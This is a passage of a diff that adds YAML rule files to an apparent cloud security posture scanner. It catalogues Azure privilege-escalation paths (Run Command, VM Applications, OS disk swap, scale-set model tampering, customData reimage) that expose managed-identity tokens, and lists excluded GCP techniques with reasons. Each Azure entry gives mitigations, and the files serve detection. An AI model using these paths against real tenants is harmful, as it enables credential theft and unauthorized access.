stopped VM also requires start/action on that VM. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict runCommands/write and alert on managed Run Command creation. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed + notes: The source must be able to write a Run Command child of the same inventoried VM that carries the target identity. The child resource persists after execution, but persistence alone does not establish automatic re-execution. + +- id: azure-vmss-vm-managed-runcommands-write + provider: azure + service: virtual_machines + title: Create a managed Run Command on a scale-set instance + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandswrite + source_revision: 2b502ade97 + summary: Managed Run Command on a Uniform scale-set instance can run as root/SYSTEM and expose identities assigned through that scale set. + requires: + all_of: + - action: Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommands/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + azure_vmss_instance_runcommand_path: true + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: vm_agent_running + description: An inventoried Uniform instance must run with a healthy VM agent. A stopped instance also requires start/action on that instance or its scale set. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict scale-set run command permissions and keep scale-set identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed + - https://learn.microsoft.com/en-us/rest/api/compute/virtual-machine-scale-set-vm-run-commands/create-or-update?view=rest-compute-2026-03-02 + notes: The write grant must authorize a runCommands child of an inventoried instance in the same Uniform scale set that carries the identity. Flexible instance identities and missing instance inventory remain unresolved. AKS node pools backed by Uniform VMSS are included when permissions survive node-resource-group deny assignments. + +- id: azure-arc-machine-runcommands-write + provider: azure + service: virtual_machines + title: Create a Run Command on an Arc-enabled server + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#rce-via-arc-run-command + source_revision: 171e422 + summary: Run Command on an Arc-enabled server executes as root/SYSTEM and exposes the Arc machine's system-assigned identity. + requires: + all_of: + - action: Microsoft.HybridCompute/machines/runCommands/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + azure_arc_run_command_code_path: true + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: run_command_execution + description: The command must be accepted and run successfully by the connected agent. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Arc run command permissions and use agent-side extension allow-lists. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/run-command + notes: The selector requires an exact runCommands child write on the identity machine, connected agent v1.33 or later, running extension service, full enabled mode and local allow/block lists that permit the OS-specific Run Command handler. Root/SYSTEM can read the HIMDS challenge token. + +- id: azure-vm-gallery-application-install + provider: azure + service: virtual_machines + title: Add a malicious VM Application version to a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputegallerieswrite-microsoftcomputegalleriesapplicationswrite-microsoftcomputegalleriesapplicationsversionswrite-microsoftcomputevirtualmachineswrite + source_revision: 318a5e9c99 + summary: The install command of a gallery application version added to a VM runs in the guest, exposing the VM's managed identities. + requires: + all_of: + - action: Microsoft.Compute/galleries/applications/versions/write + scope: "*" + - action: Microsoft.Compute/virtualMachines/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_gallery_application_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: gallery_app_exists_or_creatable + description: Needs an existing compatible gallery application or permissions to create a gallery and application. The version must be replicated to the VM region, its package source must be readable, and the VM agent must run the install command. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict gallery application version writes and virtualMachines/write; audit applicationProfile changes on VMs. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to + notes: The evaluator joins a writable application version to an inventoried VM carrying the identity. Existing applications, application creation in an existing gallery, and gallery creation in a known resource group are separate permission routes. A stopped VM also requires start/action. + +- id: azure-vm-create-with-user-assigned-identity + provider: azure + service: virtual_machines + title: Create a VM with an attached user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftresourcesdeploymentswrite-microsoftnetworkvirtualnetworkswrite-microsoftnetworknetworksecuritygroupswrite-microsoftnetworknetworksecuritygroupsjoinaction-microsoftnetworkpublicipaddresseswrite-microsoftnetworkpublicipaddressesjoinaction-microsoftnetworknetworkinterfaceswrite-microsoftcomputevirtualmachineswrite-microsoftnetworkvirtualnetworkssubnetsjoinaction-microsoftnetworknetworkinterfacesjoinaction-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: f96d849321 + summary: A newly created VM the source administers carries any user-assigned identity the source can assign, so its tokens become available from the guest. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Compute/virtualMachines/write + scope: "*" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_vm_create_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: guest_access_path + description: The source must reach the guest (public IP + NSG rule, which needs publicIPAddresses/write+join and networkSecurityGroups/write+join, or outbound-only custom data/cloud-init executed at provisioning). + - id: vnet_creation + description: Without an existing joinable subnet, virtualNetworks/write is also needed. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action to specific identities and deployment principals; use Azure Policy to restrict which identities can be attached to new compute. + references: + - https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-configure-managed-identities + notes: The source must be able to create a VM in a known resource group and either join an inventoried unattached NIC with a subnet-linked IP configuration or create a NIC with join permission on an inventoried subnet. Microsoft.Resources/deployments/write is only needed when creating through an ARM/CLI deployment. + +- id: azure-vm-assign-user-assigned-identity-existing + provider: azure + service: virtual_machines + title: Attach a user-assigned identity to an existing VM the source can execute code on + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachineswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 73e3da7a24 + summary: Adding a user-assigned identity to a VM where the source already has code execution exposes that identity's tokens via IMDS. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Compute/virtualMachines/write + scope: "*" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_vm_assign_existing_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: guest_compromise_outside_rbac + description: HackTricks also covers the case where the VM is compromised by non-RBAC means (SSRF, existing shell); that case is not detectable from RBAC alone. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and virtualMachines/write; alert on identity changes on VMs. + references: + - https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-configure-managed-identities + notes: The VM must be inventoried, writable and have a usable direct guest route on that same VM. Run Command, managed Run Command and extension child grants are checked at their exact scopes. Entra login needs the login extension and a system identity. A stopped VM requires start/action. Conditional indirect routes are modelled separately. + +- id: azure-vm-assign-user-assigned-identity-indirect-exec + provider: azure + service: virtual_machines + title: Attach a user-assigned identity to an existing VM and run code through an indirect guest route + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachineswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: e577627314 + summary: Adding a user-assigned identity to a VM and reaching the guest through customData re-provisioning, Serial Console, a VM Application, an OS disk swap or a guest configuration assignment exposes that identity's tokens via IMDS. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Compute/virtualMachines/write + scope: "*" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_vm_assign_indirect_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: route_prerequisites + description: Each route keeps the prerequisites of its own entry (azure-vm-customdata-reimage, azure-vm-serial-console-connect, azure-vm-gallery-application-install, azure-vm-os-disk-swap, azure-guestconfiguration-assignment-write), such as cloud-init re-provisioning, boot diagnostics and a guest recovery path, a gallery application in the VM's region, a compatible attacker disk, or the guest configuration extension. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and virtualMachines/write; alert on identity changes on VMs together with reimage, Serial Console, applicationProfile, OS disk and guest configuration changes. + references: + - https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-configure-managed-identities + - https://learn.microsoft.com/en-us/azure/virtual-machines/custom-data + - https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to + notes: Split from the direct code route. One inventoried VM must be writable; the indirect route must apply to that VM. Gallery routes need an inventoried application; disk routes need an inventoried disk in the VM region. Runtime execution remains conditional on route-specific prerequisites. + +- id: azure-vmss-vm-runcommand-action + provider: azure + service: virtual_machines + title: Invoke Run Command on a scale-set instance + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandaction + source_revision: 11c3fc201a + summary: Run Command on a Uniform scale-set instance executes as root/SYSTEM through the VM agent and exposes the scale set's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + azure_vmss_instance_runcommand_action_path: true + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: vm_agent_running + description: An inventoried Uniform instance must run with a healthy VM agent. A stopped instance also requires start/action on that instance or its scale set; Flexible instances use the ordinary VM action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachineScaleSets/virtualMachines/runCommand/action (Virtual Machine Contributor, Contributor) and keep scale-set identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command + - https://learn.microsoft.com/en-us/rest/api/compute/virtual-machine-scale-set-vms/run-command?view=rest-compute-2026-04-01 + notes: The action must authorize an inventoried instance of the same Uniform scale set that carries the identity. Flexible instances and missing instance inventory remain unresolved. AKS node pools backed by VMSS are reachable only when permissions survive the node-resource-group deny assignment. + +- id: azure-vm-os-disk-swap + provider: azure + service: virtual_machines + title: Swap a VM's OS disk for an attacker-prepared disk + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachineswrite-os-disk-swap + source_revision: e577627314 + summary: Replacing a VM's OS disk with one containing attacker-controlled code can expose its attached managed identities when the VM boots the replacement disk. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/write + scope: "*" + - action: Microsoft.Compute/disks/read + scope: "*" + - action: Microsoft.Compute/disks/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_os_disk_swap_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: attacker_disk_available + description: The source needs a managed disk whose content it controls (uploaded image or a modified copy of a snapshot), in the same region with a compatible OS, generation and security type. + - id: downtime_tolerated + description: The VM need not be deallocated for the swap, but the workload can be disrupted; a stopped VM needs start/action to boot the replacement disk. + - id: encryption_compatible + description: Disk encryption sets, confidential or Trusted Launch settings can prevent attaching a foreign disk. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachines/write and disk writes, alert on OS disk changes, and use resource locks on critical VMs. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/linux/os-disk-swap + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/os-disk-swap + notes: The evaluator joins VM write with an existing compatible disk or a disk the source can create in a known resource group. Disk content control and boot compatibility remain conditional; an attached disk or a known incompatible disk is excluded. Attaching a data disk is a separate data-access route. + +- id: azure-vmss-model-write + provider: azure + service: virtual_machines + title: Tamper with a scale-set model (extensions, custom data) to run code on instances + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinescalesetswrite-scale-set-model-tampering + source_revision: 24dfc65df0 + summary: Adding an extension to a scale-set model, once applied to instances, runs code as root/SYSTEM and exposes the scale set's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.Compute/virtualMachineScaleSets/write + scope: "*" + - - action: Microsoft.Compute/virtualMachineScaleSets/extensions/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + azure_vmss_model_rollout_path: true + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: model_rollout + description: A Uniform scale set model change reaches existing instances under automatic or rolling policy, or after manualUpgrade, reimage or reapply action on that scale set. Scale-set write can also change the upgrade policy or affect new instances. + - id: aks_node_pools + description: For AKS node pools the node resource group is normally protected by a deny assignment. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachineScaleSets/write and extensions/write, allow-list extensions with Azure Policy, and alert on scale-set model changes. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-upgrade-policy + - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-orchestration-modes + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute + notes: The documented rollout action is virtualMachineScaleSets/manualUpgrade/action on the scale set. Exact extension-child grants must join that scale set; known monitoring-only handlers are excluded and unknown handlers remain unresolved. Flexible orchestration instance identity effects remain unresolved. + +- id: azure-vm-customdata-reimage + provider: azure + service: virtual_machines + title: Supply customData while reimaging a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#reimage-a-vm-with-new-customdata + source_revision: b9040926a9 + summary: A reimage request can supply customData to a Linux VM; if its provisioning agent runs the payload, code in the guest can obtain the VM's managed identity tokens. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/reimage/action + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_reimage_customdata_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: cloud_init_reprocesses_customdata + description: The Linux image must run cloud-init (or an equivalent agent) on reimage and process the request-body customData. Normal VM updates cannot change customData and redeploy does not supply a new payload. + - id: destructive + description: Reimage resets the OS disk, which is disruptive to the workload. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachines/reimage/action and alert on reimage requests carrying customData. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/custom-data + - https://learn.microsoft.com/en-us/rest/api/compute/virtual-machines/reimage?view=rest-compute-2026-04-01 diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml new file mode 100644 index 0000000000..488dd5168e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml @@ -0,0 +1,2744 @@ +# Excluded GCP source sections: no exact principal or new permission gain under current typed evidence contract. +- id: gcp-securesourcemanager-push-cicd + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#cicd-supply-chain-code-execution + technique: Push code to a repository that feeds a CI/CD pipeline + reason: Manual-only path. The collector has no Secure Source Manager repository or repository-controlled triggers file inventory, so it cannot join a writable ref to an automatic build and its exact service account. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. +- id: gcp-securesourcemanager-setiampolicy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#securesourcemanagerinstancessetiampolicy--repositoriessetiampolicy--iam-self-grant-to-readpoison-source + technique: Self-grant write on a Secure Source Manager instance or repository through IAM + reason: Manual-only path. IAM self-grant alone cannot establish a linked automatic build; the collector lacks the repository, branch, triggers file and build-service-account join. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. +- id: gcp-workspace-dwd-keyless-signjwt + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#keyless-dwd-abuse-with-signjwt-or-signblob + technique: Sign a delegation JWT with a service account's Google-managed key + reason: Manual-only path. GCP IAM can establish signJwt or signBlob permission, but the collector cannot read the Workspace tenant's domain-wide-delegation client grant, approved scopes, or a successful delegated token exchange. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. +- id: gcp-workspace-dwd-key-create + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#compromise-existing-delegation + technique: Create a key for a domain-wide-delegated service account + reason: Manual-only path. A key creation grant cannot establish that the exact service account has a Workspace domain-wide-delegation grant, that a subject and scope are accepted, or that the created key yields a delegated token. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. +- id: gcp-workspace-cloud-dns-admin-recovery + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#cloud-dns-to-workspace-administrator-recovery + technique: Publish a Workspace administrator-recovery DNS challenge + reason: Manual-only path. The collector does not establish that a writable public Cloud DNS zone is actually delegated for the Workspace tenant's primary domain or that administrator recovery accepts the challenge. A lookalike or private zone must not create a Workspace administrator edge. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. +- id: gcp-workspace-addons-deployment-update + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#gsuiteaddonsdeploymentsupdate + technique: Repoint an HTTP Workspace add-on deployment + reason: Manual-only path. The collector does not inventory the exact installed HTTP deployment, its consenting users and scopes, or a later invocation of the changed endpoint. Deployment-update permission alone cannot establish a Workspace user authority edge. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. +- id: gcp-firebaseauth-users-update-exact-user-credential + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaseauthusersupdate--take-over-an-application-user-or-set-privileged-custom-claims + technique: Reset a Firebase user password and gain their application access + reason: Manual-only path. User-update permission does not prove an exact usable account, accepted password change, sign-in as that user, or an application action newly allowed to the caller. Keep the technique documented in HackTricks Cloud; exclude it from CSPM execution and the UI. +- id: gcp-firebaseauth-configs-update-exact-idp-principal + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaseauthconfigsupdate--hijack-identity-platform-blocking-functions + technique: Capture a federated IdP credential through a blocking function + reason: Manual-only path. Configuration update permission does not prove an attacker-controlled deployed blocking function, enabled forwarding for the actual IdP credential, a later supported federated sign-in, token capture, or new IdP access. Keep the technique documented in HackTricks Cloud; exclude it from CSPM execution and the UI. +- id: gcp-firebaseapphosting-backends-update-source + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#backend-hijack--repoint-source-or-runtime-identity + technique: Repoint an App Hosting backend to attacker-controlled source + reason: Manual-only path. Backend update permission and an existing backend do not prove control of an accepted replacement GitHub repository, the live branch, automatic rollout settings, path filters, or a later build. Keep the technique documented in HackTricks Cloud; exclude it from CSPM execution and the UI. Exact build-and-rollout paths remain active. +- id: gcp-compute-images-create-family-poison + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md#poison-a-consumed-custom-image-family + technique: Poison a consumed custom image family + reason: Manual-only path. Creating an image from any readable source does not prove control of its boot contents, and an unused instance template does not prove a VM will later boot from the family. The scan cannot bind a controlled image, exact active consumer, effective service account and scopes, and later boot. Keep the HackTricks Cloud technique documented; exclude it from CSPM execution and the UI. +- id: gcp-composer-environments-executeairflowcommand + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentsexecuteairflowcommand--retrieve-airflow-secrets-or-run-available-dag-code + technique: Run Airflow CLI commands and inspect stored connections or variables + reason: Manual-only privilege escalation path. The permission can run existing Airflow code and read stored values, but the collector cannot prove that an existing command or DAG gives the caller control of the environment service account or a usable credential. Keep the HackTricks Cloud technique documented; exclude it from CSPM execution and the UI. A separate exact DAG upload or environment-update path remains active. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistrytagsupdate--repoint-a-mutable-tag-to-another-stored-version + technique: Repoint a mutable Artifact Registry tag to another version + reason: Manual-only path. The scanner does not bind an existing mutable tag, alternate version, and privileged consumer that later pulls that tag. Keep the HackTricks Cloud technique documented; exclude it from CSPM execution and the UI. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md#dependency-confusion + technique: Artifact Registry dependency confusion + reason: Manual-only path. The scanner does not establish the exact package resolution, publishable upstream, and consumer that later installs it. Keep the HackTricks Cloud technique documented; exclude it from CSPM execution and the UI. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md#upstream-credential-tamper--disclosure---remote-username----remote-password-secret-version + technique: Tamper with or disclose Artifact Registry upstream credentials + reason: Manual-only path. The scanner does not identify an exact remote repository, credential secret, or later credential use through a consumer. Keep the HackTricks Cloud technique documented; exclude it from CSPM execution and the UI. +- id: gcp-bigquery-table-row-credential + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerytablesgetdata--paginate-an-entire-table-without-running-a-query + technique: Recover a usable service account private key from BigQuery table rows + reason: Manual-only path. The scanner does not read table rows or validate a private key found in them, + so it cannot identify an exact credential or the service account it authenticates. Keep the + HackTricks Cloud research; exclude this check from CSPM execution and the UI. +- id: gcp-bigtable-row-credential + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md#read-base-table-rows + technique: Recover a usable service account private key from Bigtable table rows + reason: Manual-only path. The scanner does not read Bigtable cells or validate a private key found in them, + so it cannot identify an exact credential or the service account it authenticates. Keep the + HackTricks Cloud data-access research; exclude this check from CSPM execution and the UI. +- id: gcp-bms-direct-initial-secret-exact-server-user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bare-metal-solution-privesc.md#retrieve-a-still-valid-initial-server-password + technique: Use a BMS initial password from Secret Manager to access a named server user + reason: Manual-only path. The initial password may have been changed after first login, and the scanner cannot + authenticate to the BMS server or prove a newly allowed OS action. Keep the HackTricks Cloud technique + documented; exclude this check from CSPM execution and the UI. +- id: gcp-bigquery-remote-function-bounded-cloudrun-invoke + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryroutinescreate--bigqueryconnectionsdelegateuse--invoke-cloud-run-through-a-remote-function + technique: Invoke a protected Cloud Run endpoint through a BigQuery remote function + reason: Manual-only path. The scan does not collect the exact connection service account, supported endpoint and region, + endpoint protocol behavior, or a successful invocation that grants the source a new action. The former target existed + only after externally supplied before-and-after proof. Keep the HackTricks Cloud research; exclude this check from + CSPM execution and the UI. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorized-view-or-dataset-as-an-indirect-read-path + technique: Read a protected table through one existing authorized view + reason: Manual-only path. The collector omits view SQL and cannot establish the exact protected table, prior caller denial, or an allowed query after the source dataset ACL change. The only target came from externally supplied before-and-after evidence. Keep the HackTricks Cloud technique as research; exclude this check from CSPM execution and the UI. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorize-a-routine-as-an-indirect-access-path + technique: Read a protected table through an existing authorized routine + reason: Manual-only path. The collector does not inventory routine definitions or prove which protected table an existing routine accesses, the caller's prior denial, or an allowed invocation after the dataset ACL change. The only target came from externally supplied before-and-after evidence. Keep the HackTricks Cloud technique as research; exclude this check from CSPM execution and the UI. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#dataset-acl-write--authorized-view-or-dataset-as-an-indirect-read-path + technique: Read a protected table through an existing view in an authorized dataset + reason: Manual-only path. Native collection does not capture the view query or prove its exact protected-table lineage, prior source denial, and an allowed query after adding the dataset ACL entry. The only target was an externally supplied before-and-after record. Keep the HackTricks Cloud technique as research; exclude this check from CSPM execution and the UI. Direct dataset self-grant remains a separate active technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#bigquerytablescreate--bigqueryconnectionsdelegate--create-a-table-that-reads-as-the-connection-service-account + technique: Read protected storage through a connection-backed BigLake table + reason: Manual-only path. The collector does not establish a specific protected object, the connection service account's access to that object, compatible table schema and location, or a successful indirect read. The externally supplied before-and-after record cannot be generated by a scan. Keep the HackTricks Cloud technique as research; exclude this check from CSPM execution and the UI. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriesuploadartifacts--poison-an-artifact-consumed-by-a-privileged-workload + technique: Publish Python or npm package content for a later privileged consumer + reason: Manual-only package path. The current collector does not establish an exact package and version selection, later install, and runtime identity. The active Docker-tag entry covers exact image consumers; this package path is excluded from execution and the UI. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionssetiampolicy--iamserviceaccountsactas + technique: Self-grant Cloud Functions update through a function-level IAM policy + reason: Google documents that only execution permissions are allowed at the per-function level. Changing a function policy cannot self-grant deployment or source-upload rights, so setIamPolicy plus runtime actAs is not an escalation path. Project-level deployment grants are covered by the active create and update techniques. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget--config-leak-sa--scopes--buckets--metadata--properties--staging-bucket-poison + technique: Plant a new object in a Dataproc staging bucket for a later job + reason: Bucket create permission alone does not identify a job that will load the new object. The active job-submission entry covers caller-controlled execution, and the exact initialization-action replacement entry covers a collected consumer path. A new-object route needs a recorded consumer naming that object and evidence that the name is unused. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workload-identity-federation-persistence.md#iamgoogleapiscomworkloadidentitypoolscreate--workloadidentitypoolproviderscreate--external-backdoor + technique: New workload identity pool and provider backdoor + reason: The path also requires iam.serviceAccounts.setIamPolicy on the target SA; that permission alone can grant the caller Token Creator or Workload Identity + User and is modeled by gcp-iam-serviceaccounts-setiampolicy. Pool/provider creation is a durable alternate credential mechanism, not an additional target. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#public-ca-publiccagoogleapiscom + technique: Public CA section introduction + reason: The heading names the Public CA endpoint and introduces the ACME account section; creating an ACME account is reviewed under its own heading and does not + grant a GCP IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--scopescloud-platform-at-cluster-create--oauth-scope-amplification-of-a-stolen-node-token + technique: Dataproc cloud-platform scopes at cluster creation + reason: The same dataproc.clusters.create plus iam.serviceAccounts.actAs combination and chosen service-account target are modeled by gcp-dataproc-clusters-batches-create-actas; + its access_scopes condition covers the create-time cloud-platform flag. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--metadata-startup-script--ssh-keys-at-cluster-create--root-node-takeover-without-an-init-action + technique: Dataproc startup metadata at cluster creation + reason: The same dataproc.clusters.create plus iam.serviceAccounts.actAs combination and chosen service-account target are modeled by gcp-dataproc-clusters-batches-create-actas; + its cluster_code_path condition explicitly covers startup-script and ssh-keys metadata. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md#config-delivery-configdeliverygoogleapiscom + technique: Config Delivery page introduction + reason: This heading names the service endpoint and introduces the feature; the manifest-publishing permission combination is modeled at its dedicated technique + anchor by gcp-configdelivery-fleetpackage-publish. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#actas-and-cross-project-attachment + technique: Cross-project service-account attachment overview + reason: The section describes iam.serviceAccounts.actAs plus a workload-create permission; the matching Compute, Cloud Run, Functions and other deployment entries + model those combinations, with the cross-project org-policy constraint recorded as a blocker. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#setiampolicy-backdoors-and-public--cross-domain-bindings + technique: Cross-domain IAM policy self-grant overview + reason: The section's project, folder, organization and service-account setIamPolicy self-grants are modeled by the resourcemanager and IAM setIamPolicy entries; + choosing an external member does not change the prerequisite permission or reached identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#public-exposure-without-an-allusers-binding----no-invoker-iam-check-drs-bypass + technique: Public exposure via invoker IAM check disable + reason: Exposes the service's existing functionality to the internet; no new identity for the source. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#plaintext-environment-disclosure-with-cloud-run-read-permissions + technique: Plaintext env disclosure via run get/list + reason: Pure data read (secrets in env values); not an identity edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobsrun-alone-on-a-pre-existing-job--run-as-its-pinned-sa + technique: run.jobs.run alone on an existing job + reason: Executes only the job's existing image/args; the source cannot run its own code as the SA, so it does not obtain the SA's privileges (confused-deputy only). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#local-privilege-escalation-in-gcp-compute-instance + technique: Local privesc inside a VM + reason: Requires prior code execution on the 